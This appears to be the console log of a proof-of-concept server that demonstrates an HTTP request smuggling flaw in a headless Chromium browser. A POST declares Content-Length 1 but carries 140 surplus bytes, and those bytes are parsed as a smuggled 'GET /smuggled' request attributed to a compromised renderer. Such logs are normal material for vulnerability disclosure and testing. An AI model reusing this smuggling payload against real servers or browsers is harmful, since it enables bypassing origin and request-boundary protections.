[*] POC server listening on http://127.0.0.1:8080/poc.html
========================================================================
[*] POST /target — raw request headers:
POST /target HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Content-Length: 1
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not/A)Brand";v="99", "Chromium";v="148"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Accept: */*
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/poc.html
Accept-Encoding: gzip, deflate, br, zstd

[*] Declared Content-Length: 1
[*] Declared body         : b'X'
[*] Surplus bytes on wire : 140
[!!!] CONTENT-LENGTH / BODY MISMATCH — network service wrote more body bytes than Content-Length declared.
[!!!] Surplus bytes (would be parsed as next request):
GET /smuggled HTTP/1.1
Host: localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
X-Smuggled-By: compromised-renderer

========================================================================
========================================================================
[!!!] SMUGGLED REQUEST RECEIVED — surplus body bytes were parsed as a new HTTP request:
GET /smuggled HTTP/1.1
Host: localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
X-Smuggled-By: compromised-renderer

========================================================================
[conn error] BrokenPipeError(32, 'Broken pipe')